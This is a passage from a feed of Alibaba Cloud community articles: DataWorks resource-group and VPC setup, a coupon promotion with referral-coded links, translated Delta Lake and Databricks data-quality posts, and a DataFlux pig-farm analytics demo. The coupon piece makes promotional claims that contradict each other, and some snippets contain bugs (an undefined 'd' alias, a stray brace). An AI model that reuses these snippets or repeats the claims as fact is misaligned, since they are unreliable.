        • step1:购买创建、分配流程:同独享调度资源组是一致的,注意一点就是规格问题:简单理解多大内存就允许多大并发
        • step2:修改任务到独享数据集成资源组,登录到对应项目空间的数据开发页面,找到你的同步任务,打开编辑:

          • 通过向导模式配置任务时,在通道控制 > 任务资源组下拉框中,选择相应的独享数据集成资源。
          • 通过脚本模式配置任务时,单击右上角的配置任务资源组,在任务资源组下拉框中,选择相应的独享数据集成资源。
        • step3:任务资源组修改完毕后,保存,提交;发布后,一样的,在运维中心进行测试或者补数据运行,就可以验证是否测试通过
        • step4:目前数据集成资源组的修改无法支持批量修改,只能按照上述方法,逐一任务修改!

        三、专有网络绑定

        • 使用场景

          • 当配置的任务需要访问自己VPC内的地址的时候,就需要做VPC之间的网络打通,比如需要访问adb的vpc,那就必须要做这一步
          • 如果你的VPC跟你的IDC已经专线打通,那也可以通过此功能将独享与你的idc打通,可以支持任务运行,不过此操作需要平台支持
        • 前提条件

          • 创建的独享资源组与自己VPC在一个可用区
          • 如果不在一个可用区:建议重新购买创建;若无法重新创建则只能提工单需求!
        • 操作步骤

          • step1:打开控制资源组列表,找到独享资源组->专有网络绑定

         image.png

        • step2:点击后,需要授权使用,点击授权即可
        • step3:选择需要绑定的资源组,点击 新增绑定:

        image.png

        • step4:填写对应的自己VPC下的信息:

          • 特别注意:选择VPC、交换机、安全组都是你目的端要访问的云产品实例所在的
          • 如果没有交换机或者安全组,可点击创建(注意创建的时候都要在该可用区下)

        image.png

        • step5:如果你的云产品实例需要配置白名单的话:绑定成功后,回到独享资源组列表,点击 查看信息:

          • 会有eip、网段,需要将此2个IP和ip段作为白名单列表添加到你对应的云产品实例的IP白名单列表中;
          • 同时,需要将自己云产品实例所在的交换机网段(内网网段)也添加到自己的白名单IP列表中
          • 特别特别注意:如果您的MaxCompute开启的IP白名单,任务切换到了独享资源组后,发现白名单问题,请提工单,由平台方提供IP列表添加

        image.png

        四、运维助手

        自定义资源组

        • 版本要求:

          • 自定义调度资源组:企业版及以上,需要提工单白名单开放
          • 自定义数据集成资源组:专业版及以上
        • 解决的场景:

          • 网络问题:做数据同步需要访问自己IDC的
          • 环境因数:比如依赖了python高版本、jdk环境等等,可以使用一台环境满足的ecs作为自定义资源
          • 搬站:一些客户本地以及有工作流任务开发在运行了,期望可以减少搬站迁移的工作量,可以还是将任务直接调度到自己的服务器上,减少代码脚本的迁移;
        • 注意事项

          • 只能支持数据集成任务和shell任务
        • 操作使用:

        image.png

        - step2:DataWorks控制台打开,先创建资源组:
        

        image.png

        - step3:创建资源组后,在点击 服务器管理,添加服务器,特别特别注意,**此步骤最容易出错:**
          - **网络类型:只能支持专有网络;**
          - **UUID:必须使用UUID方式添加,UUID获取方法:执行`dmidecode | grep UUID`,取返回值**
          - **IP:机器的内网IP,可以登录机器:hostname -i接口或得**
        

        image.png

          image.png

        - step4: 服务添加完毕后,回到自定义资源组页面,刷新按钮,点击 服务器初始化,按照初始化流程,登录到ECS操作
        - step5:服务器操作完毕后,可以到页面等待10分钟,观察服务器状态正常即可;
        • 修改任务到自定义资源组流程跟独享一样

          • 调度资源组:运维中心修改
          • 数据集成:编辑开发页面修改,需要提交发布
        ]]>
        阿里云官方优惠券领取及最全使用教程——最全解析-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 2020年2月18日开始阿里巴巴旗下阿里云公司推出唯一 一款针对新老用户优惠活动一一阿里云云小站 , 这款活动页面包括阿里云官方提供给用户的产品代金券,折扣券以及支持部分云产品抢购秒杀。

           <p style="text-align:center">  新用户需在阿里云官网注册成为会员,登录后才能领取阿里云代金券、折扣券(以下统称优惠券)</p>
        

        阿里云小站-标题.PNG

        一、目前官网提供两种优惠途径购买云产品:

        1. 阿里云官网云小站(阿里云优惠劵唯一领取地址):https://www.aliyun.com/minisite/goods?userCode=28kqeewo

        阿里云官网地址:www.aliyun.com (用户须知:非官网领取优惠券不能在阿里云官网使用;优惠券限领一次,领取后30天有效)
        1) 产品分为秒杀产品、新用户专享产品、新老用户同享产品,用户符合购买资格即可直接购买(详见阿里云官网云小站)
        2) 因部分云产品本身优惠力度较大,暂不支持阿里云优惠券叠加优惠减免

        如有问题请致电: 阿里云官方售前,售后电话咨询: 95187. 感谢您对阿里云的支持!!

        二、阿里云优惠券好处 :用户可使用优惠券购买阿里云旗下所有产品,领取后可在官网抵扣支付金额。

        1. 领取优惠券后,除了参加最新优惠活动外,购买时获得立减的实惠。
        2. 成为阿里云会员,会对您的产品售后进行阶段性回访。
        3. 领取优惠券可以在阿里云官网抽奖,奖品有充电宝、天猫精灵、Ipad、代金券等。(目前阿里云抽奖活动暂停取消,等待下次阿里云促销节 ,当前领取的代金券依然可以抽奖,中奖率100%,抽中的奖品要在阿里云官网留下邮寄地址,方便阿里云售后邮寄给您)

        三、阿里云优惠券(代金券、折扣券)使用规则

        1. 新用户首次购买的阿里云产品和新用户首次添加进购物车中的意向产品同时视为用户首购,购物车购买总额越大获取优惠满减越大,优惠越大。
        2. 阿里云优惠券可与常规活动优惠叠加(特定活动除外)。1个订单仅可用于一张优惠券,多订单加入购物车后可统一使用多张优惠券。
        3. 优惠券用户领取后,多张优惠券直接放入用户阿里云账户(查看:阿里云主页-控制台-费用-代金券/折扣券);

        三、领取优惠券购买阿里云产品使用步骤 :

        1.阿里云官网:https://www.aliyun.com/ 注册并登录阿里云账号,成为阿里云会员。【官网右上角免费注册】
        image.png

        2.点击进入阿里云-云小站领取阿里云优惠券:https://www.aliyun.com/minisite/goods?userCode=28kqeewo

        a) 阿里云-云小站优惠活动显示页面如下:
        阿里云小站.PNG

        b) 优惠券领取成功页面如下:
        代金券领取成功.PNG

        3.选择购买的阿里云产品
        a).下面以阿里云服务器ECS为例,选择合适的配置
        image.png

        b).选择完产品及配置之后,点击去下单(推荐码2017年3月全部失效,具体见文末公告)
        image.png

        c).支付购买产品,选择最大面额代金券红包,获得一定支付金额减免,成为阿里云专属会员。
        image.png

        d).支付购买产品,选择最大面额代金券红包,获得一定支付金额减免,成为阿里云专属会员。

        image.png

        注1:阿里云推荐码2017年3月已经全部失效,目前阿里云唯一的优惠券只有阿里云代金券、阿里云折扣券;获取阿里云优惠券的唯一途径只能通过阿里云小站领取。
        注2:可使用领取的优惠券进行优惠减免,如原价8180.40的阿里云产品,在官网使用折扣券后减免金额价格为:7573.50元,最后支付金额为7573.50元。

        e).购买完产品后,可以进行抽奖,奖品有充电宝、天猫精灵、Ipad、产品代金券。

        目前阿里云抽奖活动暂时取消,2020年11月11号之后由于阿里巴巴举行年中大促活动自动恢复,现在领取的红包代金券到时依然生效,依然可以抽奖,中奖率100%
        抽中的奖品一定要在阿里云官网留下邮寄地址,方便阿里云售后准确的邮寄给您。

        image.png

        四、阿里云优惠券抽奖活动(当前抽奖活动暂时取消,到阿里云促销节,当前领取的券可继续进行抽奖,记住抽中奖品要写上邮寄地址,方便我们阿里云邮寄给您)
        参与活动抽奖:活动一:实物抽奖页面,活动二:阿里云优惠券抽奖页面

        活动一:https://m.aliyun.com/markets/aliyun/ticketLottery
        image.png

        活动二: https://m.aliyun.com/markets/aliyun/lucky1
        image.png

        五、备注:阿里云优惠券(阿里云代金券、折扣券)常见问题解答:

        1.哪些产品支持阿里云优惠券?
        答:阿里云优惠券支持阿里云旗下所有云产品,目前阿里云云小站中统计了进行优惠券减免的云产品,特价优惠活动除外。

        2.阿里云优惠券(代金券、折扣券)到底能给我优惠多少?
        答:阿里云官网公告推荐码活动取消了,取而代之的是阿里云优惠券,针对阿里云新用户。

        3.升级可以使用阿里云代金券,那么多次升级是否可以多次使用阿里云代金券呢?(第二次升级是否可以使用代金券)?
        答:针对同一款产品,只有第一次购买或者第一次升级适用阿里云优惠券。第二次升级也可以使用优惠券。

        4.阿里云优惠券,阿里云代金券,阿里云推荐码,阿里云邀请码,它们什么意思?
        (1) 阿里云代金券、阿里云优惠券就是阿里云官网推出的唯一优惠券,用户可在参加阿里云官网最新优惠基础上可获得实物抽奖(抽奖权利在2020年11月11日释放)。
        (2) 阿里云推荐码是阿里云以前的活动,2019年3月份已经失效了,目前官网唯一优惠券只有阿里云代金券、折扣券。在享受阿里云官网最新优惠后,再使用阿里云代金券可获得多重优惠。
        image.png

        【阿里云官网】推荐产品地址分享:

        1.阿里云官网所有产品优惠专区:https://www.aliyun.com/activity/promotionArea

        2.阿里云服务器高性能服务器购买地址:https://www.aliyun.com/product/ecs

        3.阿里云企业级服务器购买地址:https://www.aliyun.com/product/ecs

        4.阿里云轻量型云服务器:https://www.aliyun.com/product/swas

        5.阿里云关系型数据库RDS:https://www.aliyun.com/product/rds/mysql?userCode=28kqeewo

        6.阿里云数据库POLARDB:https://www.aliyun.com/product/polardb

        7.阿里云内容分发网络CDN:https://www.aliyun.com/product/cdn

        8.阿里云DDOS高仿IP :https://www.aliyun.com/product/ddos

        9.阿里云短信平台:https://promotion.aliyun.com/ntms/act/alicomcloud517.html

        10.阿里云全民云计算活动突发型云服务器最低2折:https://promotion.aliyun.com/ntms/act/qwbk.html

        11.阿里云自营建站服务:https://promotion.aliyun.com/ntms/act/jianzhanquan.html

        12.关系型数据库Redis:https://www.aliyun.com/product/kvstore

        13.云短信资源包:https://www.aliyun.com/product/sms

        14.对象存储OSS:https://www.aliyun.com/product/oss

        15.安骑士:https://www.aliyun.com/product/aegis

        阿里云产品试用地址: https://free.aliyun.com/ntms/free/personal.html (包括企业级与个人级)

        阿里云旗下各个产品介绍文档:https://help.aliyun.com(包括阿里云产品详细使用方法)

        image.png

        ]]>
        【译】Delta Lake 0.5.0介绍-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 原文链接:https://databricks.com/blog/2020/01/29/query-delta-lake-tables-presto-athena-improved-operations-concurrency-merge-performance.html

        最近,Delta Lake发布了0.5.0版本,该版本加入了对Presto和Athena的支持,以及提升了操作的并发性,本文将对Delta Lake 0.5.0版本的变化进行一个简单的介绍。

        Delta Lake 0.5.0发布的几个最重要的特性如下:

        • 通过使用Manifest文件能够,支持其他数据处理引擎,现在能够使用Scala、Java、Python和SQL的API生成Manifest文件,并使用该文件通过Presto和Amazon Athena访问Delta Lake中的表数据,详细的使用方式见 https://docs.delta.io/0.5.0/presto-integration.html
        • 提升了Delta Lake所有操作的并发性,现在可以并发执行更多的Delta Lake操作。通过使用更加精细的冲突检测策略,Delta Lake的乐观并发控制得到了有效的改善,这使得我们能够更加容易地在Delta表上执行复杂的工作流。举例来说:

          1. 我们可以在给新分区添加内容的同时,在旧分区上执行delete操作;
          2. 在不相交的一组分区上同时执行update和merge操作;
          3. 让文件合并和增加文件内容同时执行

        想要获取更多的信息,可以参考开源Delta Lake 0.5.0的release notes。在此博客文章中,我们将详细介绍如何使用Presto读取Delta Lake表、操作并发性的提升以及使用insert-only merge操作来更方便快速地去除重复数据。

        使用Presto读取Delta Lake表

        正如这篇文章Simple, Reliable Upserts and Deletes on Delta Lake Tables using Python APIs 所说,Delta Lake 的一些修改数据的操作,如delete操作,是通过给包含删除数据的文件写一个新版本,并只是将旧版本文件标记为已删除来实现的。Delta Lake采用这种方法的优势在于能够让我们查询旧版本的数据。如果我们想要了解哪些数据(或行)包含最新的数据,默认情况下我们可以去查询事务日志。其他数据处理系统,如Presto和Athena想要获取这些信息,可以通过读取Delta Lake生成的一种清单文本文件——Manifest,该文件中包含查询Delta Lake表需要读取的数据文件列表。为了实现Presto和Athena读取Delta Lake表,我们可以通过执行一些Python命令来实现,详细的内容可以参考 Set up the Presto or Athena to Delta Lake integration and query Delta tables

        生成Delta Lake的Manifest文件

        首先,使用以下代码片段创建Delta Lake的Manifest文件:

        deltaTable = DeltaTable.forPath(pathToDeltaTable)
        deltaTable.generate("symlink_format_manifest")

        正如代码字面意思所示,以上操作将在表根目录中生成Manifest文件。如果你根据 Simple, Reliable Upserts and Deletes on Delta Lake Tables using Python APIs 这篇文章介绍的内容创建了departureDelays表,将会在表根目录中产生一个新的文件夹:

        $/departureDelays.delta/_symlink_format_manifest

        该文件夹中会有一个名为manifest的文本文件。如果你查看manifest文件的内容(例如使用cat命令),你将能看到类似以下的文本内容,它们指示了包含最新快照的文件。

        file:$/departureDelays.delta/part-00003-...-c000.snappy.parquet
        file:$/departureDelays.delta/part-00006-...-c000.snappy.parquet
        file:$/departureDelays.delta/part-00001-...-c000.snappy.parquet
        file:$/departureDelays.delta/part-00000-...-c000.snappy.parquet
        file:$/departureDelays.delta/part-00000-...-c000.snappy.parquet
        file:$/departureDelays.delta/part-00001-...-c000.snappy.parquet
        file:$/departureDelays.delta/part-00002-...-c000.snappy.parquet
        file:$/departureDelays.delta/part-00007-...-c000.snappy.parquet

        创建Presto表以读取生成的Manifest文件

        接下来的步骤是在Hive Metastore中创建一个外部表,以便Presto(或Athena)可以读取上一步生成的Manifest文件,来获得需要读取的Parquet文件,以读取Delta Lake表的最新快照。需要说明的是,对于Presto,你可以使用Apache Spark或Hive CLI来运行以下命令:

        1. CREATE EXTERNAL TABLE departureDelaysExternal ( ... )
        2. ROW FORMAT SERDE
           'org.apache.hadoop.hive.ql.io.parquet.serde.ParquetHiveSerDe'
        3. STORED AS INPUTFORMAT
        4. OUTPUTFORMAT
           'org.apache.hadoop.hive.ql.io.HiveIgnoreKeyTextOutputFormat'
        5. LOCATION '$/departureDelays.delta/_symlink_format_manifest'

        一些重要的说明:

        • 第一行所定义的schema必须和Delta Lake中的schema相同
        • 第五行需要指向Manifest文件的位置——_symlink_format_manifest

        Presto(或Athena)需要配置SymlinkTextInputFormat才能从Manifest文件中获取Parquet数据文件的列表,而不是使用目录列表中的文件。需要说明的是,如果想要使用分区表,需要按照Configure Presto to read the generated manifests这篇文章进行一些额外的步骤。

        更新Manifest文件

        需要注意的是,如果Delata Lake的数据有更新,都需要重新生成Manifest文件,以便Presto能够获取到最新的数据。

        操作并发性的提升

        在Delta Lake 0.5.0版本,我们能够同时执行更多的操作。通过更细粒度的冲突检测,这些最新的更新让Delta Lake能够更容易地在Delta Lake表上执行复杂的工作流,例如:

        • 可以在给新分区添加内容的同时,在旧分区上执行delete操作;
        • 追加文件内容的同时执行文件合并操作;
        • 在不相交的一组分区上同时执行update和merge操作。

        并发追加文件内容的用例

        举个例子,当我们在执行merge操作的同时,如果有并发的事务向同一个分区写入记录,Delta Lake往往会抛出ConcurrentAppendException异常。

        // Target 'deltaTable' is partitioned by date and country
        deltaTable.as("t").merge(
            source.as("s"),
            "s.user_id = t.user_id AND s.date = t.date AND s.country = t.country")
          .whenMatched().updateAll()
          .whenNotMatched().insertAll()
          .execute()

        上面的代码段就有可能会引发冲突,因为即使表已经按照date和country进行了分区,条件仍然不够明确。问题在于,这个查询将扫描整个表,从而可能与update任何其他分区的并发操作发生冲突。通过指定specificDatespecificCountry,以便可以在特定的date和country进行merge操作,现在我们就可以安全地在不同的date和contry同时执行此操作。

        // Target 'deltaTable' is partitioned by date and country
        deltaTable.as("t").merge(
            source.as("s"),
            "s.user_id = t.user_id AND d.date = '" + specificDate + "' AND d.country = '" + specificCountry + "'")
          .whenMatched().updateAll()
          .whenNotMatched().insertAll()
          .execute()

        以上方法适用于其他所有的Delta Lake操作(如delete、更改元数据等)。

        并发文件合并

        如果你连续不断地将数据写入Delta表,随着时间的流逝,将会累积出大量的文件。这在流式数据场景中尤为重要,因为此时是以比较小的batch写入数据的,这将会导致文件系统不断地累积小文件,随着时间的推移,小文件的数量会不断增加,会降低查询的性能。优化这种场景的一个比较重要的方式就是定期获取大批量的小文件,并将其重写为数量比较小的大文件(文件合并)。
        过去,在同时进行数据查询和执行文件合并时,出现异常的可能性会非常高。但是现在,由于Delta Lake 0.5.0版本的优化改进,我们可以同时执行查询操作(包括流式查询)和文件的合并,并且不会有任何异常产生。举个例子来说,如果你的表已经进行了分区,并且你只想基于谓词对一个分区进行重新分区,则可以使用where来仅读取该分区,并使用replaceWhere回写该分区:

        path = "..."
        partition = "year = '2019'"
        numFilesPerPartition = 16   # Compact partition of a table to no. of files
        
        (spark.read
          .format("delta")
          .load(path)
          .where(partition)
          .repartition(numFilesPerPartition)
          .write
          .option("dataChange", "false")
          .format("delta")
          .mode("overwrite")
          .option("replaceWhere", partition)
          .save(path))

        以上代码中需要注意的是,仅在没有数据更改时,才使用dataChange == false选项,否则可能会破坏底层数据。

        使用Insert-only Merge操作方便快速地去除重复数据

        一个场景的ETL用例是搜集日志,并将其附加到Delta Lake表当中,一个比较常见的问题是数据源会产生重复的日志记录。通过使用Delta Lake的merge,你可以避免插入这些重复的记录,例如以下涉及merge以及update航班数据的代码:

        # Merge merge_table with flights
        deltaTable.alias("flights") 
            .merge(merge_table.alias("updates"),"flights.date = updates.date") 
            .whenMatchedUpdate(set = { "delay" : "updates.delay" } ) 
            .whenNotMatchedInsertAll() 
            .execute()

        在Delta Lake 0.5.0版本之前,不可能从Delta Lake表中将重复数据作为流进行读取,因为insert-only merge并不是纯粹地将数据追加到表中。
        例如,在流查询中,你可以在foreachBatch中执行merge操作来连续不断地将流数据写入Delta Lake表当中,并将需要删除的重复数据打上标记。以下PySpark的代码展示了这个场景:

        from delta.tables import *
        
        deltaTable = DeltaTable.forPath(spark, "/data/aggregates")
        
        # Function to upsert microBatchOutputDF into Delta table using merge
        def upsertToDelta(microBatchOutputDF, batchId):
          deltaTable.alias("t").merge(
              microBatchOutputDF.alias("s"),
              "s.key = t.key") 
            .whenMatchedUpdateAll() 
            .whenNotMatchedInsertAll() 
            .execute()
        }
        
        # Write the output of a streaming aggregation query into Delta table
        streamingAggregatesDF.writeStream 
          .format("delta") 
          .foreachBatch(upsertToDelta) 
          .outputMode("update") 
          .start()

        在另一个流式查询中,你可以从该Delta Lake表中连续读取需要删除的重复数据。这是可能的,因为insert-only merge操作(在Delta Lake 0.5.0版本引入)只会将新数据追加到Delta Lake表中。

        ]]>
        【译】Databricks使用Spark Streaming和Delta Lake对流式数据进行数据质量监控介绍-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 原文链接:https://databricks.com/blog/2020/03/04/how-to-monitor-data-stream-quality-using-spark-streaming-and-delta-lake.html

        在这个一切都需要进行加速的时代,流数据的使用变得越来越普遍。我们经常不再听到客户问:“我可以流式传输这些数据吗?”,更多的是问:“我们能以多快的速度流式传输这些数据?”,而诸如Kafka和Delta Lake之类技术的普及更突显了这一势头。我们认为传统流式数据传输的一种形式是以非常快的速度到达的半结构化或非结构化(例如JSON)数据,通常情况下一批数据的量也比较小。这种形式的工作场景横跨各行各业,举一个这样的客户案例,某个证券交易所和数据提供商,他们负责每分钟流式传输数十万个数据项目,包括股票行情、新闻、报价及其他财务数据。该顾客使用Databricks、Delta Lake以及Structured Streaming,实时高可用地处理和分析这些流式数据。但是,随着使用流式数据普遍性的提升,我们见到了另一种类型的客户,他们使用流式技术进行低频次、类批处理的数据处理方式。在这种架构下,流式数据处理扮演的角色通常为监控特定的目录、S3存储桶或其他存放数据的区域,并且会在数据到达之后立即自动处理数据,这种架构消除了传统调度的许多负担,特别是在任务失败或只需要处理部分数据的情况下。所有这些应用场景都表明,流式技术已经不再只是用于实时或类实时的数据计算。

        尽管流式技术的出现有许多积极的方面,但这种体系结构也带来了一些麻烦。特别是,历史上一直存在着一个权衡:我们是要高质量的数据还是高速数据?实际上,这不是一个有意义的问题,对于所有实际操作来说,质量都必须与速度相关联,为了实现高速度,我们需要高质量的数据。毕竟,低质量、高速度的数据通常都需要分批进行进一步的处理;另一方面,高质量、低速度的数据不能满足许多现代场景的需要。随着越来越多的公司将流式传输数据作为其数据处理体系结构的关键,速度和质量都必须同时提高。

        在本博文中,我们将深入探讨一种数据管理架构,该架构可以在数据到达时,通过主动监控和分析来检测流式数据中损坏或不良的数据,并且不会造成瓶颈。

        构建流式数据分析和监控流程

        在Databricks,我们看到客户中不断涌现出许多数据处理模式,这些新模式的产生推动了可能的极限,在速度和质量问题上也不例外。为了帮助解决这一矛盾,我们开始考虑使用正确的工具,不仅可以支持所需的数据速度,还可以提供可接受的数据质量水平。Structured Streaming和Delta Lake非常适合用于数据获取和存储层,因为他们能够配合创造一个具有扩展性、容错性和类实时的系统,并且具有exactly-once处理保证

        为企业数据质量分析找到可接受的工具要困难一些,特别是这个工具需要具有对数据质量指标的状态汇总的能力。另外,还需要能够对整个数据集进行检查(例如检测出多少比例的记录为空值),这些都会随着所提取的数据量的增加而增加计算成本。这对所有流式系统而言都是需要的,这一要求就排除了很多可用的工具。

        在我们最初的解决方案中,我们选择了Amazon的数据质量检测工具Deequ,因为它能提供简单而强大的API,有对数据质量指标进行状态聚合的能力,以及对Scala的支持。将来,其他Spark原生的工具将提供额外的选择。

        E6F62374C183F78D34E7C65A8E53BECB.jpg

        流式数据质量监控的实现

        我们通过在EC2实例上运行一个小型的Kafka producer来模拟数据流,该实例将模拟的股票交易信息写入Kafka topic,并使用原生的Databricks连接器将这些数据导入到Delta Lake表当中。为了展示Spark Streaming中数据质量检查的功能,我们选择在整个流程中实现Deequ的不同功能:

        • 根据历史数据生成约束条件;
        • 使用foreachBatch算子对到达的数据进行增量质量分析;
        • 使用foreachBatch算子对到达的数据执行(较小的)单元测试,并将质量不佳的batch隔离到质量不佳记录表中;
        • 对于每个到达的batch,将最新的状态指标写入到Delta表当中;
        • 对整个数据集定期执行(较大的)单元测试,并在MLFlow中跟踪结果;
        • 根据验证结果发送通知(如通过电子邮件或Slack);
        • 捕获MLFlow中的指标以进行可视化和记录。

        我们结合了MLFlow来跟踪一段时间内数据性能指标的质量、Delta表的版本迭代以及结合了一个用于通知和告警的Slack连接器。整个流程可以用如下的图片进行表示:

        EE8D28E826D677F668E792DB0838C4F0.jpg

        由于Spark中具有统一的批处理/流式处理接口,因此我们能够在这个流程的任何位置提取报告、告警和指标,作为实时更新或批处理快照。这对于设置触发器或限制特别有用,因此,如果某个指标超过了阈值,则可以执行数据质量改善措施。还要注意的是,我们并没有对初始到达的原始数据造成影响,这些数据将立即提交到我们的Delta表,这意味着我们不会限制数据输入的速率。下游系统可以直接从该表中读取数据,如果超过了上述任何触发条件或质量阈值,则可能会中断。此外,我们可以轻松地创建一个排除质量不佳记录的view以提供一个干净的表。

        在一个较高的层次,执行我们的数据质量跟踪和验证的代码如下所示:

        spark.readStream
        .table("trades_delta")
        .writeStream
        .foreachBatch { (batchDF: DataFrame, batchId: Long) =>
        
            // reassign our current state to the previous next state
            val stateStoreCurr = stateStoreNext
        
            // run analysis on the current batch, aggregate with saved state
            val metricsResult = AnalysisRunner.run(data=batchDF, ...)
            
            // verify the validity of our current microbatch
            val verificationResult = VerificationSuite()
                .onData(batchDF)
                .addCheck(...).run()
        
            // if verification fails, write batch to bad records table
            if (verificationResult.status != CheckStatus.Success) {...}
        
            // write the current results into the metrics table
            Metric_results.write
            .format("delta")
            .mode("overwrite")
            .saveAsTable("deequ_metrics")
        }
        .start()

        使用数据质量工具Deequ

        在Databricks中使用Deequ是相对比较容易的事情,你需要首先定义一个analyzer,然后在dataframe上运行该analyzer。例如,我们可以跟踪Deequ本地提供的几个相关指标检查,包括检查数量和价格是否为非负数、原始IP地址是否不为空以及符号字段在所有事务中的唯一性。Deequ的StateProvider对象在流式数据配置中特别有用,它能允许用户将我们指标的状态保存在内存或磁盘中,并在以后汇总这些指标。这意味着每个处理的批次仅分析该批次中的数据记录,而不会分析整个表。即使随着数据大小的增长,这也可以使性能保持相对稳定,这在长时间运行的生产环境中很重要,因为生产环境需要在任意数量的数据上保持一致。

        MLFlow还可以很好地跟踪指标随时间的演变,在我们的notebook中,我们跟踪在foreachBatch代码中分析的所有Deequ约束作为指标,并使用Delta的versionID和时间戳作为参数。在Databricks的notebook中,集成的MLFlow服务对于指标跟踪特别方便。

        通过使用Structured Streaming、Delta Lake和Deequ,我们能够消除传统情况下数据质量和速度之间的权衡,而专注于实现两者的可接受水平。这里特别重要的是灵活性——不仅在如何处理不良记录(隔离、报错、告警等),而且在体系结构上(例如何时以及在何处执行检查?)和生态上(如何使用我们的数据?)。开源技术(如Delta Lake、Structured Streaming和Deequ)是这种灵活性的关键。随着技术的发展,能够使用最新最、最强大的解决方案是提升其竞争优势的驱动力。最重要的是,你的数据的速度和质量一定不能对立,而要保持一致,尤其是在流式数据处理越来越靠近核心业务运营时。很快,这将不会是一种选择,而是一种期望和要求,我们正朝着这个未来方向一次一小步地不断前进。

        ]]>
        基于DataFlux进行养猪场实时数据模拟生成和分析实践-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 一、 养猪场的数据分析需求
        现代化养猪场具有如下特点:规模化、工业化、跨界养猪、周期较长、对安全重视、管理精细化、信息化程度较高。
        注重各项经济指标,如:提高生猪综合成活率、降低饲料消耗与增重比(即料肉比)、节省饲料、节能降耗。
        大型猪场具备较完整的信息化系统,具体如下图所示:
        image.png

        猪场数据分析需求如下:
        1、 业务需求:
        A. 老板:
         价格分析:各地猪肉价格,猪粮比=猪肉价格/饲料价格
         本月可出售量分析:超过一定重量的猪的数量
         资产分析:不同类别生猪价格*存栏生猪总重量总和
        B. 场长
         存栏量分析:据此制定经营生产计划
        C. 生产线主管:
         关心猪是否生病:猪体温超标预警,避免猪瘟等疾病爆发
         检验检疫记录分析
        2、 技术需求:
        A. 自动采集多个不同数据源的数据,包括:
         自动监控系统
         信息管理系统
         来自于互联网上的各种价格数据
        B. 实时采集、实时分析、实时展示、实时告警
        C. 能预测相关指标
        D. 如有问题能通过各种方式进行提醒、预警
        E. 数据分析相关系统投入不能太大
        以下为主要分析需求示例:
        1、 猪价分析
        A. 全国或不同省份、不同生猪类型的猪价实时分析图
        B. 全国或不同省份玉米价格的实时分析图
        C. 全国或不同省份猪粮比实时分析图
        猪粮比为重要经济指标,超过或低于特定门限需要预警,如下图所示:
        image.png

        2、 存栏量分析
        A. 全国三个猪场存栏量实时展示
        B. 超过或低于正常存栏量20%视为异常,进行预警
        3、 猪体温分析(疫情分析)
        根据资料,猪的体温有以下特点:
        image.png
        本案例中简单起见,分为三种生猪:
        1、小猪:正常体温 39.3 度
        2、母猪:正常体温 38.7 度
        3、公猪:正常体温 38.4 度
        生猪体温超过正常体温0.5度即视为不正常体温,进行预警。
        4、 资产分析
        各猪场存栏生猪总资产实时展示
        总资产 V = ∑(Pi * ∑Wi)

        i:        生猪类别,包括外三元、内三元、土杂猪
        Pi:   不同类型生猪价格
        ∑Wi:为存栏不同种类的生猪体重之和

        5、 本月可出售量分析
        生猪养殖超过6个月可以出栏销售。根据猪的出生日期,超过6个月为本月可出售数量、重量、总价格。对这些指标进行实时展示
        6、 检验检疫分析
        疫苗接种,每头猪接种一次(按以下顺序,前一种疫苗接种了才能接种后续疫苗):
         SF1 猪瘟疫苗
         FMD 口蹄疫疫苗
         SF2 猪瘟疫苗 AR1 萎鼻疫苗
         JE 乙脑疫苗(前序疫苗为AR1,不需要SF2)
         PPV 细小病毒疫苗
         AD 伪狂犬疫苗
        二、 如何使用DataFlux进行养猪场数据分析
        DataFlux是实时大数据分析平台。通过对任何来源、类型、规模的实时数据进行监控、分析和处理,释放数据价值,帮助企业从数据中洞察业务并有效预测,进而做出决策并采取行动,助力商业决策。
        DataFlux的功能如下:
        1、 多渠道数据采集和实时处理:支持云端数据采集、应用数据采集、日志数据采集、时序数据上报、常用数据库的数据汇聚;数据存储可无限扩展,实时处理和分析海量数据
        2、 灵活构建面向不同业务场景的数据洞察:支持云产品性能监控、IT 设备监控、用户行为分析等数据洞察,并支持通过自定义 SQL 查询和检索实时数据,提供丰富的可视化监控视图
        3、 简单易用的告警触发器和基线:支持自定义基线和触发动作,快速定位业务异常发生的时间范围,同时支持多个检测指标和触发条件的实时数据监测告警
        4、 预测和数据交叉分析:对于任何来源的实时数据进行多维度交叉分析,基于智能算法进行预测,实现数据洞察和科学的业务决策
        DataFlux功能全图如下:
        image.png
        猪场分析事实数据源可能来自于:
         自动监控系统数据
         管理信息系统数据
         来自互联网的价格数据
         手工录入数据
        本案例中由DataMock模拟数据源生成数据,并实施上报数据到数据网关DataWay。最终在DataFlux中完成数据统一存储、处理、数据洞察,支持各应用场景的实现。如下图所示:
        image.png

        三、 基于DataMock模拟生成养猪场数据
        通过 DataMock 数据模拟器,用户可以:
        • 生成模拟数据上报到 DataFlux 中心
        • 基于模拟数据可以快速构建和验证自身的数据洞察场景,即 DataKit 和 DataWay 是否正常工作。
        DataMock数据模拟器的使用:
        1、 下载安装
        在DataFlux的主页的“集成”页面获得DataMock的下载地址(Windows、Linux、Mac版本),解压即可,获得两个文件:
         可执行文件 datamock
         配置文件 config.yaml
        2、 配置
        写配置文件config.yaml是非常重要的环节。配置文件主要包括两个部分:
         DataWay网关地址,可以是云端DataWay或本地Dataway。
         Measurement指标集配置
        本案例中模拟的指标集有四个:
         价格指标集
         生猪库存指标集
         疫苗接种指标集
         体检指标集
        具体如下:
        image.png
        具体配置如下:
        image.png

        3、 启动
        赋予DataMock可执行权限后直接启动即可,生成样例数据如下:
        image.png

        四、 养猪场数据洞察
        在 DataFlux 中,用户可以根据不同的视角构建不同的洞察「场景」,通过查看场景下的数据可视化图表分析,从而满足不同业务的场景需求和数据分析。
        步骤如下:
        1、 添加场景
        2、 添加节点
        3、 可视化的分析和检索
        image.png

        最终的洞察结果可以通过图表和数据集展现。
        其中数据的计算有三种方式,按照从易到难排序:

        1、 UI直接处理数据
        2、 使用SQL处理
        3、 使用函数平台进行实时数据处理开发。
        处理步骤:
        1、 创建场景
        image.png

        2、 添加节点
        image.png

        3、 添加图表
         UI直接添加
         价格分析
        image.png

         体温分析
        image.png

         体检检疫流程分析
        image.png
        image.png

         时序数据库SQL语句计算
         猪粮比分析
        image.png

         存栏量分析
        image.png

